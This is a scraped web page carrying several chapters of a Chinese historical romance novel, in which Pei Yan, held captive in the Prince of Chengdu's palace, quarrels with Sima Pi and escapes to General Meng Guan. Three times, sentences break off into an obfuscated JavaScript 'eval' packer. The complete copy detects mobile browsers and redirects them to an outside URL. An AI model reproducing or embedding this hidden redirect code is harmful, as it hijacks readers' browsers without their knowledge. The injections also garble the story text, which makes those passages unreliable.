他不禁有些自嘲,依照他无利不起早的个性,当转身就走才是。可为什么,他听说她被掳,还是忍不住,从朋友那里借来一身黄门的衣服,别扭地夹着屁股走了一路,巴巴地摸来了这里?难道只为看她一眼?然后呢?就此两清? “你若真想帮我,就替我寻个人吧!”裴妍见他不语,也不强求,只是选了个最小的人情请他帮忙…… 案上烛泪堆积,跳跃的光亮将一个窈窕的身影隐约印在墙上。 人影动了动——桶里的水渐渐凉了。 裴妍却没有起身的意思,而是望着对面闭阖的窗门想事。 就在不久前,石勒才兴冲冲地从那里原路跳了回去。 她不是无知无觉的孩童,石勒看她的眼神,与司马毗没有不同。只不过一个含蓄,一个直白。 裴妍能看出他的不甘心。她本想说,这不是你能玩的游戏。可她知道,这对于一个心高气傲的男人而言,不啻于剥了衣裳游街。于是,她只好寻了一个最小的人情打发了他。 她本可以装作糊涂——一切都是他自愿的,怨不得她。可是,心中总有一个名为“道义”的东西,不容许她这样做。 石勒和卢谌不同。卢谌欠的是叔父的人情,而石勒,求的却是他不该想,而她也不可能应的事。故而,她不想与之有额外的勾连。 裴妍低下头,注视着水里的人儿,腮凝新荔,鼻腻鹅脂,柳眉曼睩,顾盼生姿…… 越大越发现,长成这样,只要她想,用美色蛊惑人心,简直再容易不过。然而,在有选择的情况下,她不愿这样做。 可是,如果哪天,她穷途末路了呢?她可还会要这份无用的坚守? 裴妍撩起水花,美人脸立即碎成一片片的。她想起叔祖裴葑讲过“君子不器”——文士用笔与口,将士用刀或命,皆被人称颂,似乎器与不器都是君子。 那么女子呢?不得入太学,不得走仕途,不得入行伍,不得进庙堂。既不能拿笔正名,又不能握刀证道。名义上,除了依附男人,似乎无路可走。 既然女子身无长物,这身青春正好的皮囊,可在“不器”之列?若不得已而用之,是否有违君子之道? 这不是男人定下的规则么?可为何历来以美色惑人者,人皆弃之?妺喜,妲己,褒姒……她光是随意想想,便觉得是自轻自贱? 好没道理! “女郎?”门口传来秋水试探地询问,打碎了裴妍的胡思乱想。 裴妍怕吵到司马毗,赶紧应声道:“更衣呢!”她迅速起身穿衣,将湿漉漉的散发拢到一侧,一边对外面道,“进来收拾吧!” 于是秋水这才敢带着从人进来,指挥她们拿空桶把浴桶里的水舀走,另有几名婢子蹲在地上擦拭地板。 内室乱糟糟的,裴妍取了一条巾帕兀自抹着发尾,一边转过屏风来到外间,却在看到案上的物事时,突然停住了脚步,手上的帕子跟着掉落在地——不知何时,那里赫然放了一枚半旧的天青缎香囊,那是她当年回闻喜前,送给兄长裴憬的! 她立刻回身,看向这群忙碌的侍女——这里除了石勒,便只有她们来过! 裴妍压下心中的惊喜,状似无意地自她们身边经过,恰有一名高个侍女,提着装满水的木桶,吃力地起身往外走,经过裴妍身边时,特意停下来,恭身询问她:“内室湿气颇重,女郎可要熏香?” “自然!”裴妍朝着那婢女点头道,“府上惯用什么香方?” 那婢女道:“客室常备忍冬零陵,奴也略通一二,可要为女郎调香?” 裴妍看了眼秋水。 秋水果然走过来,问她:“未知姊姊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半夏摇头,直言:“未听说二郎有消息传来。” 裴妍脸上难掩落寞。 半夏又道:“后日王妃会在金凤台设筵席,广邀邺城豪门赴宴。” 这个裴妍是知道的。她疑惑地看向她:“你们预备做什么?” 半夏眸中厉光一闪:“成都王长子刚满周岁,可为人质!” 裴妍大惊:“你们拢共多少人,就敢兵行险着?” “人不在多,是好手就行。” “可是,雉儿何辜,遭此横难?” 半夏却冷笑,握着铜香匙的手紧了紧。“即便不为元娘,我们与成都王府,也有计较。” 裴妍疑惑地看向她。成都王与她们还有过节不成? 半夏于是将原委托出。原来如今王长子的乳媪原是她们一个同袍的妻子,却因姿色出众被王府长史强征入府。那同袍自是不愿,来府上要人,却被那长史打得半残丢了出去。 夺妻之恨,这仇如何忍得? 同袍之间同仇敌忾,要不是因为细作的身份不能暴露,他们早就打上门来抢人了!如今,裴妍也被掳到这里,不正好借此好好教训一番王府诸人? “元娘尽可放心,王长子的乳媪魏氏是我们的人。我们只劫人质,不伤人!” 成都王与王妃如今只得这一个嫡子,爱重自不必说。有王长子在手,何愁成都王不放人?届时司马毗反对也没用! 或可一试! 她又想起石勒来。于是对半夏道:“我有一故友唤作石勒,他同乡是王府牧帅汲桑。我方才并不知道你们在府里,故而请他近日留意四城门,若遇上容秋就帮我传个信。既然你们已先一步寻到了我,不妨去与他打个招呼。让他先一步离开吧!” 半夏却迟疑道:“事出机密,元娘岂可轻易托付他人?” 裴妍欲言又止,总不能说石勒倾慕于她,还曾经舍身救过她吧? 只好模棱两可道:“他是个靠得住的。你们二郎也识得他的。” 半夏这才应下了。 72. 阴云成片当天坠,喜怒无常山雨来…… 翌日一早,果然阴云密布。 裴妍甫一拉开槅门,就见司马毗等在外边。 他今日一改昨夜的颓唐,一身石蜜色儒衣破裙,头戴平巾帻,手握塵尾扇,端的是风仪赫赫,好一个翩翩佳公子。 “阿妍,”他笑道,“早呀!” 裴妍诧异地问:“听说成都王今日要去西山狩猎,你竟没有同去?” 司马毗抬头看看天色:“这天气哪能进林子?早改了。” 裴妍迟疑:“那你今日……” 他举起一封帛书,眼里透着一丝狡黠:“郭姨来信。” 裴妍这就要接过来。 他却将信塞回袖囊里,扬眉:“邺城你从前没来过吧?走,带你到处看看!” “哎?”裴妍还没反应过来,一手已被司马毗拽着出去了。 邺城曾是曹魏的都城,如今依然是北地重镇。其坊市结构与洛阳大同小异。邺城的东西市也是如此。东市多绸布成衣、金银玉珠,茶楼酒肆也不少,更得贵人青睐。司马毗趁着早起不热,带她到处转了转。 裴妍却兴致缺缺,衣服试了,簪钗戴了,没一样想要的。 “带你吃点东西吧。”司马毗见状,带她去了一条小巷。 巷尾一间不起眼的茶棚里,一碗热腾腾的丸子汤被端了上来,粗木质的矮案上瞬间蒙了层水汽。 “你什么时候把阿母的信还给我?”裴妍气鼓鼓地跪坐在案前。她早起才吃过寒食,一点不饿,也不想陪他逛街。她只想知道阿母怎样了,还有,她对自己被司马毗掳走的事情怎么说。 “不急,家书既已送到,还能跑了不成?先尝尝这汤。” 看他油盐不进的样子,裴妍恨得牙痒,却毫无办法。 有散客过来,茶棚的东家是个精瘦的老叟,殷勤地打开铺子前支起的那口大锅,瞬间茶棚内肉香扑鼻。 其时早饷仍以寒食为主。 “邺城的茶铺一早卖这个?”裴妍不可置信地看向司马毗。 “不全是。这里离脚马行近,晨起远行的人更喜欢吃口热乎的。故而这间铺子除了提供茶水,还贩汤食。”他解释道,“我也是偶然发现的,口味很不错,试试?” 这家店实在简陋,头无片瓦遮顶,篷布一支,拢共几张案席就能做起生意。棚内已经被司马毗包场,只棚外几张案桌上还有几个食客,以脚商糙汉居多,隐约见到里面坐着一个窈窕佳人,都忍不住偷偷拿眼打量,却慑于棚口的部曲,吃两口就匆匆赶路去咯。 裴妍摘下幂离,四下打量了一会,心道这家店铺面虽小,但能得司马毗这个老饕的赏识,必有其过人之处。 丸子汤只盛在粗陶碗里,不过汤面上撒了层细碎的葱叶和胡荽。司马毗帮她拿羹匙搅了搅,裹着胡麻的丸子与小菜和在一起,瞬时鲜香四溢。 裴妍咽了咽口水,忍不住舀起一个,浅尝一口。羊肉丸子被捶得很有劲道,咬一口,热汤入喉,让人忍不住鲜掉眉毛。她不禁杏眼微眯,舌尖裹挟着肉汁,含了会才舍得咽下去,活似一只偷食的猫儿。 司马毗看着身侧的裴妍一脸餍足的样子,忍不住手痒,像儿时那样摸了摸她的鬟顶。 裴妍依然躲了开去,抗议道:“说多少次了,头发会乱!还会……” “在女子里,你已经很高了!”司马毗笑意盈盈地接口。 裴妍却突然低下头,五味杂陈地吞下一口肉丸子。她差点忘了,她现在几乎不长个子了——他们都大了。 “阿妍,你若喜欢,我把这家店盘下来带到京城去。你什么时候想吃了,我随时遣人买。” 裴妍嗤笑:“这汤是不错,可京里什么没有?何必劳师动众?” “你喜欢就行!”司马毗道。 裴妍只当他玩笑,没理会他。 待她吃饱喝足,司马毗才依言拿出小郭氏的家书来。 裴妍夺过,一目十行地看过去。不过片刻,她的眼圈就红起来,泪珠在长长的睫毛上停了停,还是如断了线的珠子似的,一颗颗往下掉。她不想让旁人看笑话,把头埋在胳膊里,肩膀却一抽一抽的。 司马毗轻叹,手悬在裴妍的发顶,停了停,改为拍拍她的手背,柔声道:“早猜到会这样。本想吃点好的会让你开心些。” 裴妍一把拂去他的手,鼻尖红红的:“你知道我阿母写了什么?谁让你看我家的信了?” 司马毗摇头,温声道:“我还不至于小人成这样。但我与郭姨相识多年,观其言察其行,总能猜出一二来。” “她让你从了我,可对?”司马毗轻摇塵尾,言笑晏晏。 裴妍心里一酸,又哭着趴了回去。 小郭氏在信里虽斥司马毗“跳踉不驯,冒礼为愆”,却又感念他的“契契苦心,独钟不弃”,竟劝裴妍认命——“一饮生啄,莫非前定,阴差阳错,缘悭凉州,吾儿颖达,何如珍吝眼前?” “你给我阿母灌了什么迷魂汤?她之前明明,明明……” “阿妍,你心里清楚,郭姨属意的一直是我。至于那张二郎,不过因着你执拗,郭姨不得不认罢了。” 裴妍低头,她知道司马毗说的是实话。可是,她察觉到不对来,柳眉倒竖:“我阿母写不出这种文绉绉的话来。这字也不是我阿母的。”她抱着一丝希望,色厉内荏地斥问:“说!是不是你找人杜撰来的?” 司马毗扶额,“你家自有裴妡这个女诸葛在,何消我杜撰?” 裴妍沉默了,低头细看这字,确是堂妹裴妡的无疑。她心里一沉,看来真是阿母口述,裴妡代笔了。 “我比你虚长几岁,至今记得在你家东湖边初见你时的样子。”司马毗见她不语,强压下懊丧,缓缓讲起小时候的事。 “彼时你尚未满周岁,却很早就会拽着柳媪的手踉跄着走路。我阿母很少抱我,但是每每看到你却总是又抱又亲的不放手,我那时还气了很久。”想起童年往事,司马毗忍不住浅笑。 他握紧裴妍的手,“论相识先后,我比那张家小子靠前了不知多少。阿妍,我们才是最早遇见的!” 裴妍心里一动,忍不住抬头,就见司马毗眸中光影闪动,明灭间尽是自己的影子。 “难怪,小时候有很长一段时间,你挺讨厌我的。”裴妍别过头,避重就轻道,“可见,人都是会变的。” 她收回手,一边搅动着羹匙,一边道:“就像从前,你哪里会吃这个?我记得那时你……” “食不厌精,脍不厌细?”司马毗摇头,“你也说了,那是从前。” 他起身,塵尾搭在臂间,望着棚外来往的贩夫走卒。 “彼时年少,自觉读几本书,注几章释就是经略天下的大才。入仕后,才发现仕途经济,与皓首穷经,没一样是快活的。你当这些年,我是怎么过来的?跟你似的,在乡下逍遥?” 裴妍赧然,可还是忍不住腹诽——她在老家也是学了些本事的,比如,种菜? “前几年,我阿耶大病了一场,府里生计无人支应。我与阿睿本就是帝室疏族,若无钱财交际,宗室之中,谁理你?好在赤龙精于货殖,我们经他指点,南来北往,东货西市,这才把家业重新支棱起来。” 他拿塵尾指了指外面风尘仆仆的脚商,“那时,我比之他们好不到哪里去。这家店,就是和赤龙一起来邺城办事时发现的。” 裴妍愣住了。在她的印象里,司马毗素来是个目下无尘,顶顶骄傲的人。 “你给我的信里从来没提过,我还以为……” “我只是个受荫蔽承爵的纨绔?” 裴妍低头。她此前确实这么以为。 “好在都挺过来了。如今谁人不晓东海王府财货遍天下?光水玉一项,便供不应求,连成都王都要给你家几分面子。”她软声安慰道。 “这倒是。旁的不敢说,这些年,王府内有大半的资财得从我手头漏出。不然我那祖母为何巴巴地要把族里的女郎往我身边送?” 司马毗转身看向她,凤眼里七分自矜三分委屈:“所以阿妍,你对我何其不公!” 裴妍疑惑地看向他。 “论带兵打仗,我或许不如那张家二郎,但论家财人脉,他未必赢过我。人情利益,我哪点输他?你不该急着下注。” “我不是为了前程才跟他的。”裴妍急道,他当她是什么?见义忘利的赌徒么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬起塵尾一指西北,看着裴妍的眼里尽是讥讽。“前些天,我不过杀了一个与你家有仇的裴遐,你就嫌弃我跟什么似的。实话说,我手上的人命,跟他这个平西将军比起来,才叫小巫见大巫。你不会以为他真是什么宽仁之人?慈不掌兵的道理,还用我说?” “他是将军,为国征战,哪有不死人的?何况,他杀的都是乱臣贼子,是该死的人。你杀的却只是你一家的敌人!一个为国,一个为家,高下立判!”裴妍一改方才的沉默,据理力争道。 “好一个为家为国,那他阿耶眼睁睁看着周处赴死的时候守的是什么?跟孟叔时合谋装病,只放三千宿卫兵回京又算什么?你仔细想想,若说你阿叔的死我家占五分,那他张家,又清白在哪!” “你胡说!”裴妍吼道,秀气的脸上因怒气涨得通红,二人跟乌眼鸡似的,互相不服对方。 “东家,结账!”裴妍高声道。她一刻也不想与污蔑张家的人在一处。 可怜那东家原本瑟缩在茶棚一角,眼看着棚里的贵人突然争执起来,一时吓得进也不是,退也不是。 “哼,你不必急着替他家喊冤。你我大婚,孟叔时也来观礼。他现今就在成都王府,你若不信,大可去问问他。看看我说的究竟是真是假!看看你那‘仁恕’的张二郎究竟是人是鬼!” 不待裴妍回应,司马毗一扔塵尾,拂袖离开茶棚。外面细雨蒙蒙,他竟也不撑伞,迎着风雨翻身上马,挽缰立在茶棚外。 身后自有部曲来结账。远远跟着的秋水来请裴妍上车。裴妍却立在原地,脚下如有千斤重——孟观就在府里,她要去对质吗? 她抬头,见司马毗就这么静静地等在雨中,居高临下地注视着她,嘴角含着一抹若有若无的讥讽。 漫天细雨犹如一张浸湿的幕布,无声地隔在二人中间,将他的石蜜色的儒衣染透,可他依然高高在上,一派胜券在握,狼狈的反而是她——他犹如执掌刑狱的廷尉,执着地要押着她,去见那唯一的证人! 73. 无情无恨无朝暮,不见不念不相思…… 裴妍拂开秋水,迎着司马毗的目光,一步一步踏进雨里。 她在他的高头大马前停住,素手抓上当卢一角,仰起头,水汪汪的桃花眼尾猩红,眸中带着一丝哀求,嘴角勉强扯出一湾弧度,开口却是旁的事。 “阿毗,方才那支玉胜,我又想要了。我们去看看,可好?” 司马毗脸色陡然一沉,看向裴妍的眸子阴郁无极,内里似滚着一道墨色漩涡,隐隐藏着风暴来临前的平静。 雨幕下,裴妍高髻微散,鬓角掉下一缕长长的碎发,湿漉漉的搭在雪青色交领襦的敞口里,粘在她白如凝脂的脖颈上。雨水顺着那缕发丝,如玉珠般,向下,一路滚去。 司马毗突然俯身,掐上她脆弱得不堪一握的颈项,死死地盯住她,眼里狂沙将起。 “这么窝囊,还闹什么!”见裴妍闭着眼不敢看他,接着道,“老老实实嫁给我不好么?整日想些有的没的,连个马奴也当人一样支使……” 裴妍眼神一凛,回握住他的手,紧张道:“石勒?你对他怎么了?我俩的事,何必牵累无辜?” “无辜?”司马毗放开她,直起身子,居高临下地睨着她:“你的内室他也敢闯,还敢说无辜?当我是死人么?” 裴妍摇头,急着解释:“他……只是来跟我道别的。你大概不知,当年在东郊,石勒曾救过我!是我的恩人。所以……可否放过他?” “我竟不知,你们是旧相识?他还曾救过你?”司马毗脸上表情莫测。他点头道,“如此,是不能杀。” 下一刻说出的话却让裴妍脊背一寒。 “那胡奴不是自诩黄钟毁弃怀才不遇?成都王麾下陷队之士有缺,他去,正合适。” 陷队之士?裴妍虽不知军中名目编制,但顾名思义,也知那不是好去处。 “他只是个无关紧要的局外人,你何必赶尽杀绝?” 司马毗拧眉,深深地看住她,眼中似有狂风暴雨裹挟着滔天怒意。 半晌,他突然笑将起来,只是这笑,终不达眼角,听到裴妍耳里,却是浑身一寒——就见他的眼里是遮不住的恨与不甘。 “阿妍,你对一个马奴尚能心怀体恤,为何独独对我,独独对我……”他撇过头,没有说下去。 裴妍心头似被长针扎过,不知为何,竟也跟着痛起来。 “阿毗,何必跟不相干的人比?不要和自己过不去!”裴妍忍不住软下声来,轻轻拽住司马毗散落在马腹下的儒衣一角,摇了摇。 司马毗回过头来,静静地看向裴妍,似在辨别她的话里几分真情,几分假意。 蒙蒙细雨打湿了少女如玉的面庞,她仰头凝视着他,瞳孔里全是他的影子,眼里似有泪意流转。 周遭灰蒙蒙的,坑洼不平的泥地上积起一个个浑浊的水塘。他看到她脚下那双小小的织金尖头履倔强地踩在乌糟的泥水中,渐渐失了颜色。 万千怒意,随着涓涓细流,无声地,融在了她脚下的泥泞里,一点一点地瓦解着面前人的恨意。 冤孽! 终是不忍心!司马毗脸上怒意渐退。他俯下身,向裴妍伸出一只手来。 裴妍迟疑了片刻,终是握住他的手,借着他的臂力上了马。 她身上早被雨水浸透,浑身冰凉凉的,而身后的人尽管衣衫也已尽湿,胸膛却滚烫似火。 司马毗一手握缰,一手怀抱着她,策马回府。他的手臂如一张大网,将她牢牢地罩在怀里,炙烤着她。 就听他在她的耳畔低语:“你既不敢去见孟叔时,可见也不是全然信任张家。既如此,今后好好与我过日子吧!我以东海王府向你起誓,此生必不负你!” 裴妍却不敢应他,假作没听见似的,头低低地埋在胸前。丝丝缕缕的细雨将天地织成了一张更大的网,将他与她牢牢地困在当中,挣不脱,逃不开。 “阿毗,我有点冷。”裴妍不禁抱紧胳膊。 司马毗一惊,这时候再让她去车里也于事无补,只好将她往自己怀里摁了摁,用身上的热意捂着她,快马加鞭地往回赶。 刚到金凤台下,就见成都王的心腹宦官孟玖正撑着伞焦急地等在雨里,见二人狼狈至此,也是吓了一跳,赶紧迎了上去。 司马毗和裴妍是打马回来的,浑身上下都湿透了。虽说夏季不冷,但这样下去也易遭病。 孟玖二话不说,殷勤地指挥内侍给二人煮姜茶,烧热汤。 司马毗是男子,收拾得快,待他整理妥当出来时,裴妍还在更衣。 他这才有时间问等在一边的孟玖,发生了何事。 孟玖躬身道明原委。 原来上半晌收到从人来信,在朝歌休养的程太妃已到城外二十里的驿馆。成都王于是带人去郊外亲迎。乐王妃在铜雀台设下家宴,派他来告知一声,请他俩晚上一同赴宴。 程太妃是先帝才人、成都王司马颖的生母,如今还是裴妍的义母。此次回来也是为主持几日后二人的婚礼。于情于理,他们都该先行拜见。 “你们大王还没回来?” 孟玖看了眼天色,琢磨道:“大王巳时出去的,按说,也该回了。许是雨天道路难行,耽搁了。” 此时裴妍房里唤女婢进去收拾,想来快整理好了。孟玖传完话,不敢打扰这对未婚夫妇,很有眼头见识的退下了。 于是在婢子们提着水桶、巾栉陆续退出去后,司马毗一身清爽地拉开了裴妍的房门。 许是才沐浴过,室内仍残留着氤氲的水汽。一丝熟悉的忍冬香气传来,他跨过半透的三扇屏,就见裴妍一身秋香色襦裙,以手支额,侧卧在榻上小寐。一旁有个脸生的精壮婢子正半跪在侧,替她调香打篆。他派来的秋水反而不见踪影。 “现在瞌睡,晚上又该失眠了。”他朝那婢子挥挥手,那婢子却没有立即退下,而是犹豫地看向裴妍。 裴妍朝她略微颔首,半夏这才退了出去。 “从前没发现,阿妍收买人心很有一套。前有你那贴身婢子容秋,后有石勒,如今连成都王府的下人都对你唯命是从。”司马毗一边理着衣袖,一边坐到她的榻边。 裴妍略坐起来些,给他腾出点地方,不以为意道:“我只相信人心换人心。你待他们好,他们自然也会感念你的好。” 司马毗无奈地摇摇头,对这话不置可否。他从袖囊中掏出一个三寸来长的锦盒递给她,说起另一件事。 “阿妍可知程太妃?” 裴妍点头。她听裴妡提起过,那位是先帝晚年最得宠的妃嫔,也是成都王的生母。要不是出身太低,早封贵人了。 “认亲双方长辈也需见礼。程太妃素爱奢华,这件见面礼一会就说是郭大夫人转赠的,她看后必然欢喜。” 裴妍打开盒子,只见里面是一颗如小儿拳头般大小的东珠,乳白的光晕中透着一点淡淡的樱粉,在烛光的照耀下流光溢彩,几可鉴人。她自小也是见过不少好物的,东珠亦得过不少。然而没有一颗珠子的色泽、大小能与这颗相媲美的! 她眼睛瞪直,赶紧盖上盖子,对司马毗道:“你从哪得来的这么好一颗珠子?就这么让我送出去,未免靡费珍宝!”继而脸上露出一抹难色,“如今我家可拿不出对等的还你。” “还什么?本就是买来送你的。如今给你当人情,也不算浪费。”司马毗脸上露出一抹浅笑。他真心笑起来的时候左颊边会微微有个浅浅的酒窝,整个人也跟着明朗起来,与方才的冷峻阴郁判若两人。 裴妍看着他,不禁道:“阿毗,你平日真该多笑一笑。方才那样子实在太吓人!” 想起方才,司马毗脸上笑容渐淡。许多事,只是略过不提,不代表已经放下。他握拳在唇边咳了一声,头微微瞥到另一边去。 裴妍知道,他这是还在生她的气。 他俩没聊两句,外头突然响起一阵嘈杂。 司马毗眉头一紧,让裴妍待在房里,自己出去探看。 方打开槅门,就见孟玖一身湿漉漉地闯进来,与正要出门的司马毗撞了满怀。 见到司马毗,孟玖赶紧急惶惶地禀告:“太妃半路被掳,大王前去救援,至今下落不明。我家王妃请世子过去…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188284|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 司马毗听得前半句就知出了状况,正要出门,回头就见裴妍也跟在后面。他停下脚步,叮嘱她:“外面正乱,你待在房里哪也不许去。秋水呢?让她跟着你。” 裴妍老实答道:“她在灶下煲粥呢!我看刚才那个叫半夏的婢子不错,有她陪着也行。” 司马毗点头。 候在门口的半夏适时进屋,低头站到裴妍身后。 司马毗看了眼她俩,到底不放心,又叫来几个亲卫守在门口,这才跟孟玖匆匆走了。 半夏瞥了眼门口的守卫,哗地将槅门拉上。 “太妃那里怎么回事?”一到内室,裴妍急切地问。 “是二郎的人!”半夏压着声音,难抑激动地道,眼里放着欣喜的光亮,“他派人将太妃掳去郊外林子,又把成都王引过去。如今东海王和公师将军也去救援,王府守卫薄弱,正是我们出去的好时机。” 茂郎!裴妍心口跳得厉害,如打翻了五味瓶,一时间思念混合着怨怼、惶惑夹杂着疑虑,爱也茫茫,愁也无极,滔天的情思,排山倒海地向她袭来。 他真的来了?在这个时候! 半夏打开窗户查看四周。外面无人,天色渐暗,雨却突然大起来。半夏一喜,大雨好哇,泥地一刷,什么踪迹都没了!回头就见裴妍仍愣怔在原地,脸上悲喜莫测。 “元娘?” 裴妍如若未闻,她还陷在天人交战里,前一刻是与张茂的浓情蜜意,后一刻却是司马毗厉声的质问——“张家,又清白在哪!” 孟观! 她想起孟观还在府里,浑身一激灵。 “成都王府不是没人,孟将军还在府上!” 半夏一愣,脸上带着由衷的钦佩,莞尔道:“怪道说元娘与我们二郎心心相印呢!奴正要禀报,二郎来信,道这位孟将军乃主公密友,张家故人。此次出府,元娘尽可托其回护!” 密友!故人!这些字眼入得裴妍耳中不啻惊雷——孟观与张家,原来勾连这么深!那司马毗的话……裴妍晃了一晃,差点没立住。 半夏赶紧扶住她,担忧地道:“元娘可是遭雨受寒了?” 裴妍捂着苍白的脸,摇头。 这时,窗外传来两声不起眼的鹧鸪叫。半夏道:“我们的人来了!” 只见她熟练地自床底摸出一套婢女的服饰——天知道她什么时候藏进去的! “元娘,快换上!” 裴妍浑浑噩噩的任她摆弄,不一会,一个头梳双丫髻的美貌婢子就呈现在人前。 “得罪了!”半夏又自袖囊中掏出一个小巧的胭脂盒,打开来,里面却是暗黄色的脂膏。她将它均匀地抹到裴妍脸上。很快,裴妍玉璧一般的面庞霎时裹了层风霜,成了一个地地道道的黄脸婆,只一双眸子依然水盈盈的,顾盼之间,流光溢彩,熠熠生辉。 半夏很不满意,只怪裴妍皮囊太好,这般乔装虽能掩去七分颜色,可剩下的三分也足以令那些部曲驻足了。 尤其裴妍的一双眼睛,生得实在妙极,那水汪汪的桃花眼,看狗都能深情款款。 半夏一跺脚,对裴妍道:“劳驾元娘一会只盯着地面走路。不管我们遇上什么人,怎么回话,都不要抬眼。” 裴妍木讷地点头,依言掩下眉目,眼睛耷拉下来,这才盖住了大半芳华。 于是半夏小心翼翼地扶着裴妍跨过窗槛。外面自有两个做黄门装扮的部曲接应。他们接了裴妍,和半夏一起,两两一排,撑着番黄的油纸伞在雨中趋步。大雨蒙蒙,外人看去,只是几个急着办事的奴婢经过。 裴妍跟在他们后面,走过长长的阁道,很快就到了另一处高台——冰井台。 这里似乎是外客的下榻处。一路上,遇到几波巡查的部曲,在见到为首的黄门递上的腰牌后,皆纷纷让路。 约摸一盏茶的功夫,他们就行到了一处客室前。 半夏上前扣门。 就见一垂髫童子谨慎地开了一道缝隙。 半夏莞尔,笑问:“孟将军可在?奴奉主公之命,求见将军!” 74. 情知已被山遮断,频倚阑干不自由…… 不一会,房门大开,那童子道:“我家将军有请!” 于是半夏兴冲冲地要拽裴妍进去,却发现手边人一动不动。她回头,就见裴妍依然半低着头不语,似在想事。 “元娘?” 裴妍被她叫醒,望着面前膝盖高的门槛,逼着自己脚底动了动。区区几步路,她却似深陷泥潭,每一步都无比艰难。 然而,她缓缓抬起头,直视那扇大开的槅门。逃避不是办法,叔父没了,她就是长房的支柱。在这场博弈里,诚然她家是败了的,可究竟输在了哪,输在谁的手里,她总得做个明白人——这位孟将军,她是非见不可了! 随着众人入内,裴妍见当堂正中坐着一位身量颇高的精壮男子,燕颔虎须,目光如炬,看年岁,与叔父同龄。半夏和护送她的两名部曲都躬身站到她的身后。裴妍心知,眼面前的这位,就是昔日贾后心腹——积弩将军孟观了。 裴妍于是敛衽与他见礼。 “元娘在某这,大可不必自毁发肤。”孟观稍稍抚着八字□□声道。他的声线中和,不疾不徐,让人心神一宁。原来他一眼就看出裴妍的乔装。 于是童子领裴妍去后堂整理,半夏正好向孟观禀事。 待裴妍收拾干净,从后堂撩帘而出时,饶是养气多年的孟观,眸中亦流露出一丝惊艳,之后一副合该如此的神态,了然地对她点点头,请她上座。 裴妍入座时,略略打量四周,见孟观室内除了案上垒了几摞竹简、笔墨茶具及一方棋盘外,几无他物。 “某性简,委屈元娘了。”孟观上来就对裴妍打招呼。 裴妍摇头,“是小女叨扰将军了。何况,曾有人与我说过,于军士而言,有一顶帐篷遮风,一张皮子裹身,足矣。将军简约明查,上下不令而行,小女钦佩。” “能说这话的必是二郎了。”孟观抚掌笑道,“从前在军中,某常与士彦父子吃酒,二郎于我既是子侄亦是小友。元娘若不弃,便随他唤我一声阿叔吧!” “阿叔!”裴妍从善如流。 孟观颔首应和,又道:“事出仓促,某随身未带好物,待到了宛城,再与你补上。”这是说的见面礼。 裴妍微微蹙眉,宛城?她记得孟观生擒氐酋齐万年后,便一直称病未归,原是驻扎在那里? 裴妍不动声色地应喏。她抬头,见他神色雍常,端坐于席。孟观是习武带兵之人,即便只是静静地坐在那里,身上也有伏虎之态,所散发出的炁场非寻常人可及。可他几个月前还上书说自己伤势颇重,不能挪动!今日看来,哪有半分重伤的影子? 许多事,不必宣之于口,便能瞧出大概!她心知,司马毗并未诓她。月前,孟观与张轨,确实是故意拖着大军,不肯回京。 万余宿卫精锐啊,只放还三千老弱!这才让那没脸没皮的赵王有了可乘之机! 他阿叔的死,赵王自然是罪魁祸首,可推波助澜的东海王,明哲保身的孟观与张轨,哪个无辜? 怪只怪自家,疏于防范,妄自托大,怎么就没能拦住娘娘谋杀太子,稳住根基,缓缓图之呢!怎么就没能趁着赵王羽翼未丰,拔其爪牙,去其经脉呢! 裴妍毕竟是妙龄女子。孟观见她毫不避讳地盯着自己,从脖子到腰腹,脸上表情变幻莫测,不知在想些什么,倒把他看得有些脸红耳赤了。 男女有别,裴妍是张家未来的新妇,他还是要避嫌的。 孟观一手握拳,轻咳一声,问身后童子:“后院厢房可收拾妥当?” 童子赶紧应是。孟观于是让裴妍领着半夏他们去后院安置。自己则理了理衣襟,预备着接下来的惊涛骇浪。 果不其然,不到两个时辰的功夫,就听童子来报:“东海王世子与公师将军已然接应成都王与太妃,安然归府。” 没过多久,又见成都王的心腹宦官孟玖来请自己。 “……待我们大王将太妃救回府,才发现我家大郎和裴家元娘竟在府中被人掳走。这才知这伙流寇不寻常,只怕所谋甚大!”一路上孟玖向他禀告道。 原来,那劫持太妃的流寇不过十数人,只是仗着地利之便,提前在林子里布下重重机关,这才暂时困住了成都王。待司马毗与公师藩赶到时,那伙流寇见事不对,已然桃之夭夭了。 于是众人赶紧回府。 一路上,司马毗脸色阴沉,这件事处处透着蹊跷。那劫持太妃的流寇不过十几人,如何能确切的知道王太妃的行踪,并提前在林中布下天罗地网?如此大费周章,为何援军一到,他们一点反抗都没有,直接扔下太妃就逃了?既不为财,也不为色,那就只有一个可能! 司马毗不顾身后太妃车架缓慢,先一步打马回到金凤台,果然发现裴妍及那个叫半夏的侍女早已人去楼空! 司马毗一拳锤案,咬牙吐出两个字:“张茂!” …… 